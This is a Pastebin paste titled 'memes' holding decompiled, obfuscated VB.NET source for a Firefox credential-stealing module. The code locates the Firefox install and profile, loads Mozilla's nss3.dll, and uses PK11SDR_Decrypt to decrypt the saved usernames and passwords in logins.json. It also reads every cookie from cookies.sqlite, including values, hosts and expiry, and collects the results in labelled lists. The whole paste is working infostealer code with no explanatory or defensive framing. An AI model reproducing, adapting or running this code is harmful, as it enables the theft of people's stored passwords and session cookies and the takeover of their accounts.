Advertisement
Guest User

memes

a guest
Aug 29th, 2016
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 12.34 KB | None | 0 0
  1. Imports System
  2. Imports System.Collections.Generic
  3. Imports System.ComponentModel
  4. Imports System.Diagnostics
  5. Imports System.IO
  6. Imports System.Runtime.CompilerServices
  7. Imports System.Runtime.InteropServices
  8. Imports System.Text
  9. Imports Microsoft.Win32
  10. Public Module GClass42
  11.     Shared Sub New()
  12.         Try
  13.             GClass42.directoryInfo_0 = GClass42.smethod_7()
  14.             If GClass42.directoryInfo_0 Is Nothing Then
  15.                 Throw New NullReferenceException("Firefox is not installed, or the install path could not be located")
  16.             End If
  17.             GClass42.directoryInfo_1 = GClass42.smethod_5()
  18.             If GClass42.directoryInfo_1 Is Nothing Then
  19.                 Throw New NullReferenceException("Firefox does not have any profiles, has it ever been launched?")
  20.             End If
  21.             GClass42.fileInfo_0 = GClass42.smethod_6(GClass42.directoryInfo_1, "logins.json")
  22.             If GClass42.fileInfo_0 Is Nothing Then
  23.                 Throw New NullReferenceException("Firefox does not have any logins.json file")
  24.             End If
  25.             GClass42.fileInfo_1 = GClass42.smethod_6(GClass42.directoryInfo_1, "cookies.sqlite")
  26.             If GClass42.fileInfo_1 Is Nothing Then
  27.                 Throw New NullReferenceException("Firefox does not have any cookie file")
  28.             End If
  29.         Catch ex_86 As Exception
  30.         End Try
  31.     End Sub
  32.  
  33.     Public Function smethod_0() As List(Of GClass50)
  34.         Dim list As List(Of GClass50) = New List(Of GClass50)()
  35.         Try
  36.             GClass42.smethod_2(GClass42.directoryInfo_1, GClass42.directoryInfo_0)
  37.             Dim gClass As GClass42.GClass44 = New GClass42.GClass44()
  38.             Using Dim streamReader As StreamReader = New StreamReader(GClass42.fileInfo_0.FullName)
  39.                 Dim json As String = streamReader.ReadToEnd()
  40.                 gClass = GClass49.smethod_1(Of GClass42.GClass44)(json)
  41.             End Using
  42.             For Each current As GClass42.GClass43 In AddressOf gClass.logins
  43.                 Dim username As String = GClass42.smethod_13(AddressOf current.encryptedUsername)
  44.                 Dim password As String = GClass42.smethod_13(AddressOf current.encryptedPassword)
  45.                 Dim uri As Uri = AddressOf current.formSubmitURL
  46.                 list.Add(New GClass50() With { .URL = uri.AbsoluteUri, .Username = username, .Password = password, .Application = "Firefox" })
  47.             Next
  48.         Catch ex_DE As Exception
  49.         End Try
  50.         Return list
  51.     End Function
  52.  
  53.     Public Function smethod_1() As List(Of GClass46)
  54.         Dim list As List(Of GClass46) = New List(Of GClass46)()
  55.         Dim gClass As GClass51 = New GClass51(GClass42.fileInfo_1.FullName)
  56.         If Not gClass.method_9("moz_cookies") Then
  57.             Throw New Exception("Could not read cookie table")
  58.         End If
  59.         Dim num As Integer = gClass.method_2()
  60.         For i As Integer = 0 To num - 1
  61.             Try
  62.                 Dim host As String = gClass.method_5(i, "host")
  63.                 Dim name As String = gClass.method_5(i, "name")
  64.                 Dim value As String = gClass.method_5(i, "value")
  65.                 Dim path As String = gClass.method_5(i, "path")
  66.                 Dim secure As Boolean = Not(gClass.method_5(i, "isSecure") = "0")
  67.                 Dim httpOnly As Boolean = Not(gClass.method_5(i, "isSecure") = "0")
  68.                 Dim num2 As Long = Long.Parse(gClass.method_5(i, "expiry"))
  69.                 Dim num3 As Long = GClass42.smethod_4(DateTime.Now)
  70.                 Dim expiresUTC As DateTime = GClass42.smethod_3(num2)
  71.                 Dim expired As Boolean = num3 > num2
  72.                 list.Add(New GClass46() With { .Host = host, .ExpiresUTC = expiresUTC, .Expired = expired, .Name = name, .Value = value, .Path = path, .Secure = secure, .HttpOnly = httpOnly })
  73.             Catch ex_139 As Exception
  74.                 Return list
  75.             End Try
  76.         Next
  77.         Return list
  78.     End Function
  79.  
  80.     Private Function smethod_10(slot As Long, loadCerts As Boolean, wincx As Long) As Long
  81.         Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "PK11_Authenticate")
  82.         Dim [delegate] As GClass42.Delegate6 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate6)), GClass42.Delegate6)
  83.         Return [delegate](slot, loadCerts, wincx)
  84.     End Function
  85.  
  86.     Private Function smethod_11(arenaOpt As IntPtr, outItemOpt As IntPtr, inStr As StringBuilder, inLen As Integer) As Integer
  87.         Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "NSSBase64_DecodeBuffer")
  88.         Dim [delegate] As GClass42.Delegate7 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate7)), GClass42.Delegate7)
  89.         Return [delegate](arenaOpt, outItemOpt, inStr, inLen)
  90.     End Function
  91.  
  92.     Private Function smethod_12(ByRef data As GClass42.Struct13, ByRef result As GClass42.Struct13, cx As Integer) As Integer
  93.         Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "PK11SDR_Decrypt")
  94.         Dim [delegate] As GClass42.Delegate4 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate4)), GClass42.Delegate4)
  95.         Return [delegate](data, result, cx)
  96.     End Function
  97.  
  98.     Private Function smethod_13(cypherText As String) As String
  99.         Dim stringBuilder As StringBuilder = New StringBuilder(cypherText)
  100.         Dim value As Integer = GClass42.smethod_11(IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Length)
  101.         Dim struct As GClass42.Struct13 = Nothing
  102.         Dim struct2 As GClass42.Struct13 = CType(Marshal.PtrToStructure(New IntPtr(value), GetType(GClass42.Struct13)), GClass42.Struct13)
  103.         If GClass42.smethod_12(struct2, struct, 0) = 0 AndAlso struct.int_2 <> 0 Then
  104.             Dim array As Byte() = New Byte(struct.int_2 - 1) {}
  105.             Marshal.Copy(New IntPtr(struct.int_1), array, 0, struct.int_2)
  106.             Return Encoding.UTF8.GetString(array)
  107.         End If
  108.         Return Nothing
  109.     End Function
  110.  
  111.     Private Sub smethod_2(firefoxProfilePath As DirectoryInfo, firefoxPath As DirectoryInfo)
  112.         If New Version(FileVersionInfo.GetVersionInfo(firefoxPath.FullName + "\firefox.exe").FileVersion).Major < New Version("35.0.0").Major Then
  113.             Return
  114.         End If
  115.         GClass34.LoadLibrary(firefoxPath.FullName + "\msvcr100.dll")
  116.         GClass34.LoadLibrary(firefoxPath.FullName + "\msvcp100.dll")
  117.         GClass34.LoadLibrary(firefoxPath.FullName + "\msvcr120.dll")
  118.         GClass34.LoadLibrary(firefoxPath.FullName + "\msvcp120.dll")
  119.         GClass34.LoadLibrary(firefoxPath.FullName + "\mozglue.dll")
  120.         GClass42.intptr_0 = GClass34.LoadLibrary(firefoxPath.FullName + "\nss3.dll")
  121.         Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "NSS_Init")
  122.         Dim [delegate] As GClass42.Delegate3 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate3)), GClass42.Delegate3)
  123.         [delegate](firefoxProfilePath.FullName)
  124.         Dim slot As Long = GClass42.smethod_9()
  125.         GClass42.smethod_10(slot, True, 0L)
  126.     End Sub
  127.  
  128.     Private Function smethod_3(unixTime As Long) As DateTime
  129.         Dim dateTime As DateTime = New DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)
  130.         Return dateTime.AddSeconds(CDec(unixTime))
  131.     End Function
  132.  
  133.     Private Function smethod_4(value As DateTime) As Long
  134.         Return CLng((value - New DateTime(1970, 1, 1, 0, 0, 0, 0).ToLocalTime()).TotalSeconds)
  135.     End Function
  136.  
  137.     Private Function smethod_5() As DirectoryInfo
  138.         Dim path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\Mozilla\Firefox\Profiles"
  139.         If Not Directory.Exists(path) Then
  140.             Throw New Exception("Firefox Application Data folder does not exist!")
  141.         End If
  142.         Dim directoryInfo As DirectoryInfo = New DirectoryInfo(path)
  143.         Dim directories As DirectoryInfo() = directoryInfo.GetDirectories()
  144.         If directories.Length = 0 Then
  145.             Throw New IndexOutOfRangeException("No Firefox profiles could be found")
  146.         End If
  147.         Return directories(0)
  148.     End Function
  149.  
  150.     Private Function smethod_6(profilePath As DirectoryInfo, searchTerm As String) As FileInfo
  151.         Dim files As FileInfo() = profilePath.GetFiles(searchTerm)
  152.         Dim num As Integer = 0
  153.         If 0 >= files.Length Then
  154.             Throw New Exception("No Firefox logins.json was found")
  155.         End If
  156.         Return files(num)
  157.     End Function
  158.  
  159.     Private Function smethod_7() As DirectoryInfo
  160.         Using Dim registryKey As RegistryKey = If(AddressOf GClass14.Is64Bit, GClass15.smethod_1(RegistryHive.LocalMachine, "SOFTWARE\Wow6432Node\Mozilla\Mozilla Firefox"), GClass15.smethod_1(RegistryHive.LocalMachine, "SOFTWARE\Mozilla\Mozilla Firefox"))
  161.             If registryKey Is Nothing Then
  162.                 Return Nothing
  163.             End If
  164.             Dim subKeyNames As String() = registryKey.GetSubKeyNames()
  165.             If subKeyNames.Length = 0 Then
  166.                 Throw New IndexOutOfRangeException("No installs of firefox recorded in its key.")
  167.             End If
  168.             Using Dim registryKey2 As RegistryKey = registryKey.OpenSubKey(subKeyNames(0))
  169.                 Dim valueSafe As String = registryKey2.OpenReadonlySubKeySafe("Main").GetValueSafe("Install Directory", "")
  170.                 If String.IsNullOrEmpty(valueSafe) Then
  171.                     Throw New NullReferenceException("Install string was null or empty")
  172.                 End If
  173.                 GClass42.directoryInfo_0 = New DirectoryInfo(valueSafe)
  174.             End Using
  175.         End Using
  176.         Return GClass42.directoryInfo_0
  177.     End Function
  178.  
  179.     Private Function smethod_8(libPath As String) As IntPtr
  180.         If String.IsNullOrEmpty(libPath) Then
  181.             Throw New ArgumentNullException("libPath")
  182.         End If
  183.         Dim intPtr As IntPtr = GClass34.LoadLibrary(libPath)
  184.         If intPtr = IntPtr.Zero Then
  185.             Dim lastWin32Error As Integer = Marshal.GetLastWin32Error()
  186.             Dim ex As Win32Exception = New Win32Exception(lastWin32Error)
  187.             ex.Data.Add("LastWin32Error", lastWin32Error)
  188.             Throw New Exception("can't load DLL " + libPath, ex)
  189.         End If
  190.         Return intPtr
  191.     End Function
  192.  
  193.     Private Function smethod_9() As Long
  194.         Dim procAddress As IntPtr = GClass34.GetProcAddress(GClass42.intptr_0, "PK11_GetInternalKeySlot")
  195.         Dim [delegate] As GClass42.Delegate5 = CType(Marshal.GetDelegateForFunctionPointer(procAddress, GetType(GClass42.Delegate5)), GClass42.Delegate5)
  196.         Return [delegate]()
  197.     End Function
  198.  
  199.     Private directoryInfo_0 As DirectoryInfo
  200.  
  201.     Private directoryInfo_1 As DirectoryInfo
  202.  
  203.     Private fileInfo_0 As FileInfo
  204.  
  205.     Private fileInfo_1 As FileInfo
  206.  
  207.     Private intptr_0 As IntPtr
  208.  
  209.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  210.     Private Delegate Function Delegate3(configdir As String) As Long
  211.  
  212.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  213.     Private Delegate Function Delegate4(ByRef data As GClass42.Struct13, ByRef result As GClass42.Struct13, cx As Integer) As Integer
  214.  
  215.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  216.     Private Delegate Function Delegate5() As Long
  217.  
  218.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  219.     Private Delegate Function Delegate6(slot As Long, loadCerts As Boolean, wincx As Long) As Long
  220.  
  221.     <UnmanagedFunctionPointer(CallingConvention.Cdecl)>
  222.     Private Delegate Function Delegate7(arenaOpt As IntPtr, outItemOpt As IntPtr, inStr As StringBuilder, inLen As Integer) As Integer
  223.  
  224.     Public Class GClass43
  225.         Public Property encryptedPassword() As String
  226.  
  227.         Public Property encryptedUsername() As String
  228.  
  229.         Public Property encType() As Integer
  230.  
  231.         Public Property formSubmitURL() As String
  232.  
  233.         Public Property guid() As String
  234.  
  235.         Public Property hostname() As String
  236.  
  237.         Public Property httpRealm() As Object
  238.  
  239.         Public Property id() As Integer
  240.  
  241.         Public Property passwordField() As String
  242.  
  243.         Public Property timeCreated() As Long
  244.  
  245.         Public Property timeLastUsed() As Long
  246.  
  247.         Public Property timePasswordChanged() As Long
  248.  
  249.         Public Property timesUsed() As Integer
  250.  
  251.         Public Property usernameField() As String
  252.  
  253.         <CompilerGenerated()>
  254.         Private int_0 As Integer
  255.  
  256.         <CompilerGenerated()>
  257.         Private int_1 As Integer
  258.  
  259.         <CompilerGenerated()>
  260.         Private int_2 As Integer
  261.  
  262.         <CompilerGenerated()>
  263.         Private long_0 As Long
  264.  
  265.         <CompilerGenerated()>
  266.         Private long_1 As Long
  267.  
  268.         <CompilerGenerated()>
  269.         Private long_2 As Long
  270.  
  271.         <CompilerGenerated()>
  272.         Private object_0 As Object
  273.  
  274.         <CompilerGenerated()>
  275.         Private string_0 As String
  276.  
  277.         <CompilerGenerated()>
  278.         Private string_1 As String
  279.  
  280.         <CompilerGenerated()>
  281.         Private string_2 As String
  282.  
  283.         <CompilerGenerated()>
  284.         Private string_3 As String
  285.  
  286.         <CompilerGenerated()>
  287.         Private string_4 As String
  288.  
  289.         <CompilerGenerated()>
  290.         Private string_5 As String
  291.  
  292.         <CompilerGenerated()>
  293.         Private string_6 As String
  294.     End Class
  295.  
  296.     Public Class GClass44
  297.         Public Property disabledHosts() As List(Of Object)
  298.  
  299.         Public Property logins() As List(Of GClass42.GClass43)
  300.  
  301.         Public Property nextId() As Integer
  302.  
  303.         Public Property version() As Integer
  304.  
  305.         <CompilerGenerated()>
  306.         Private int_0 As Integer
  307.  
  308.         <CompilerGenerated()>
  309.         Private int_1 As Integer
  310.  
  311.         <CompilerGenerated()>
  312.         Private list_0 As List(Of GClass42.GClass43)
  313.  
  314.         <CompilerGenerated()>
  315.         Private list_1 As List(Of Object)
  316.     End Class
  317.  
  318.     Private Structure Struct13
  319.         Public int_0 As Integer
  320.  
  321.         Public int_1 As Integer
  322.  
  323.         Public int_2 As Integer
  324.     End Structure
  325. End Module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement